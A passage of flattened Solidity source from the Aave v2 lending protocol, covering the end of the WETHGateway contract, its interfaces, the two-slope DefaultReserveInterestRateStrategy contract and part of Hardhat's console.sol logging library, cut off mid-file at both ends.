for which msg.sender is repaying */ function repayETH( address lendingPool, uint256 amount, uint256 rateMode, address onBehalfOf ) external payable override { (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebtMemory( onBehalfOf, ILendingPool(lendingPool).getReserveData(address(WETH)) ); uint256 paybackAmount = DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); WETH.deposit{value: paybackAmount}(); ILendingPool(lendingPool).repay(address(WETH), msg.value, rateMode, onBehalfOf); // refund remaining dust eth if (msg.value > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount); } /** * @dev borrow WETH, unwraps to ETH and send both the ETH and DebtTokens to msg.sender, via `approveDelegation` and onBehalf argument in `LendingPool.borrow`. * @param lendingPool address of the targeted underlying lending pool * @param amount the amount of ETH to borrow * @param interesRateMode the interest rate mode * @param referralCode integrators are assigned a referral code and can potentially receive rewards */ function borrowETH( address lendingPool, uint256 amount, uint256 interesRateMode, uint16 referralCode ) external override { ILendingPool(lendingPool).borrow( address(WETH), amount, interesRateMode, referralCode, msg.sender ); WETH.withdraw(amount); _safeTransferETH(msg.sender, amount); } /** * @dev transfer ETH to an address, revert if it fails. * @param to recipient of the transfer * @param value the amount to send */ function _safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'ETH_TRANSFER_FAILED'); } /** * @dev transfer ERC20 from the utility contract, for ERC20 recovery in case of stuck tokens due * direct transfers to the contract address. * @param token token to transfer * @param to recipient of the transfer * @param amount amount to send */ function emergencyTokenTransfer( address token, address to, uint256 amount ) external onlyOwner { IERC20(token).transfer(to, amount); } /** * @dev transfer native Ether from the utility contract, for native Ether recovery in case of stuck Ether * due selfdestructs or transfer ether to pre-computated contract address before deployment. * @param to recipient of the transfer * @param amount amount to send */ function emergencyEtherTransfer(address to, uint256 amount) external onlyOwner { _safeTransferETH(to, amount); } /** * @dev Get WETH address used by WETHGateway */ function getWETHAddress() external view returns (address) { return address(WETH); } /** * @dev Only WETH contract is allowed to transfer ETH here. Prevent other addresses to send Ether to this contract. */ receive() external payable { require(msg.sender == address(WETH), 'Receive not allowed'); } /** * @dev Revert fallback calls */ fallback() external payable { revert('Fallback not allowed'); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETH { function deposit() external payable; function withdraw(uint256) external; function approve(address guy, uint256 wad) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETHGateway { function depositETH( address lendingPool, address onBehalfOf, uint16 referralCode ) external payable; function withdrawETH( address lendingPool, uint256 amount, address onBehalfOf ) external; function repayETH( address lendingPool, uint256 amount, uint256 rateMode, address onBehalfOf ) external payable; function borrowETH( address lendingPool, uint256 amount, uint256 interesRateMode, uint16 referralCode ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IReserveInterestRateStrategy} from '../../interfaces/IReserveInterestRateStrategy.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import 'hardhat/console.sol'; /** * @title DefaultReserveInterestRateStrategy contract * @notice Implements the calculation of the interest rates depending on the reserve state * @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE` * point of utilization and another from that one to 100% * - An instance of this same contract, can't be used across different Aave markets, due to the caching * of the LendingPoolAddressesProvider * @author Aave **/ contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy { using WadRayMath for uint256; using SafeMath for uint256; using PercentageMath for uint256; /** * @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates. * Expressed in ray **/ uint256 public immutable OPTIMAL_UTILIZATION_RATE; /** * @dev This constant represents the excess utilization rate above the optimal. It's always equal to * 1-optimal utilization rate. Added as a constant here for gas optimizations. * Expressed in ray **/ uint256 public immutable EXCESS_UTILIZATION_RATE; ILendingPoolAddressesProvider public immutable addressesProvider; // Base variable borrow rate when Utilization rate = 0. Expressed in ray uint256 internal immutable _baseVariableBorrowRate; // Slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope1; // Slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope2; // Slope of the stable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope1; // Slope of the stable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope2; constructor( ILendingPoolAddressesProvider provider, uint256 optimalUtilizationRate, uint256 baseVariableBorrowRate, uint256 variableRateSlope1, uint256 variableRateSlope2, uint256 stableRateSlope1, uint256 stableRateSlope2 ) public { OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate; EXCESS_UTILIZATION_RATE = WadRayMath.ray().sub(optimalUtilizationRate); addressesProvider = provider; _baseVariableBorrowRate = baseVariableBorrowRate; _variableRateSlope1 = variableRateSlope1; _variableRateSlope2 = variableRateSlope2; _stableRateSlope1 = stableRateSlope1; _stableRateSlope2 = stableRateSlope2; } function variableRateSlope1() external view returns (uint256) { return _variableRateSlope1; } function variableRateSlope2() external view returns (uint256) { return _variableRateSlope2; } function stableRateSlope1() external view returns (uint256) { return _stableRateSlope1; } function stableRateSlope2() external view returns (uint256) { return _stableRateSlope2; } function baseVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate; } function getMaxVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate.add(_variableRateSlope1).add(_variableRateSlope2); } /** * @dev Calculates the interest rates depending on the reserve's state and configurations * @param reserve The address of the reserve * @param liquidityAdded The liquidity added during the operation * @param liquidityTaken The liquidity taken during the operation * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param averageStableBorrowRate The weighted average of all the stable rate loans * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market * @return The liquidity rate, the stable borrow rate and the variable borrow rate **/ function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view override returns ( uint256, uint256, uint256 ) { uint256 availableLiquidity = IERC20(reserve).balanceOf(aToken); //avoid stack too deep availableLiquidity = availableLiquidity.add(liquidityAdded).sub(liquidityTaken); return calculateInterestRates( reserve, availableLiquidity, totalStableDebt, totalVariableDebt, averageStableBorrowRate, reserveFactor ); } struct CalcInterestRatesLocalVars { uint256 totalDebt; uint256 currentVariableBorrowRate; uint256 currentStableBorrowRate; uint256 currentLiquidityRate; uint256 utilizationRate; } /** * @dev Calculates the interest rates depending on the reserve's state and configurations. * NOTE This function is kept for compatibility with the previous DefaultInterestRateStrategy interface. * New protocol implementation uses the new calculateInterestRates() interface * @param reserve The address of the reserve * @param availableLiquidity The liquidity available in the corresponding aToken * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param averageStableBorrowRate The weighted average of all the stable rate loans * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market * @return The liquidity rate, the stable borrow rate and the variable borrow rate **/ function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) public view override returns ( uint256, uint256, uint256 ) { CalcInterestRatesLocalVars memory vars; vars.totalDebt = totalStableDebt.add(totalVariableDebt); vars.currentVariableBorrowRate = 0; vars.currentStableBorrowRate = 0; vars.currentLiquidityRate = 0; vars.utilizationRate = vars.totalDebt == 0 ? 0 : vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt)); vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle()) .getMarketBorrowRate(reserve); if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) { uint256 excessUtilizationRateRatio = vars.utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE); vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add( _stableRateSlope2.rayMul(excessUtilizationRateRatio) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add( _variableRateSlope2.rayMul(excessUtilizationRateRatio) ); } else { vars.currentStableBorrowRate = vars.currentStableBorrowRate.add( _stableRateSlope1.rayMul(vars.utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE)) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add( vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE) ); } vars.currentLiquidityRate = _getOverallBorrowRate( totalStableDebt, totalVariableDebt, vars .currentVariableBorrowRate, averageStableBorrowRate ) .rayMul(vars.utilizationRate) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor)); return ( vars.currentLiquidityRate, vars.currentStableBorrowRate, vars.currentVariableBorrowRate ); } /** * @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param currentVariableBorrowRate The current variable borrow rate of the reserve * @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans * @return The weighted averaged borrow rate **/ function _getOverallBorrowRate( uint256 totalStableDebt, uint256 totalVariableDebt, uint256 currentVariableBorrowRate, uint256 currentAverageStableBorrowRate ) internal pure returns (uint256) { uint256 totalDebt = totalStableDebt.add(totalVariableDebt); if (totalDebt == 0) return 0; uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate); uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate); uint256 overallBorrowRate = weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay()); return overallBorrowRate; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingRateOracle interface * @notice Interface for the Aave borrow rate oracle. Provides the average market borrow rate to be used as a base for the stable borrow rate calculations **/ interface ILendingRateOracle { /** @dev returns the market borrow rate in ray **/ function getMarketBorrowRate(address asset) external view returns (uint256); /** @dev sets the market borrow rate. Rate value must be in ray **/ function setMarketBorrowRate(address asset, uint256 rate) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } 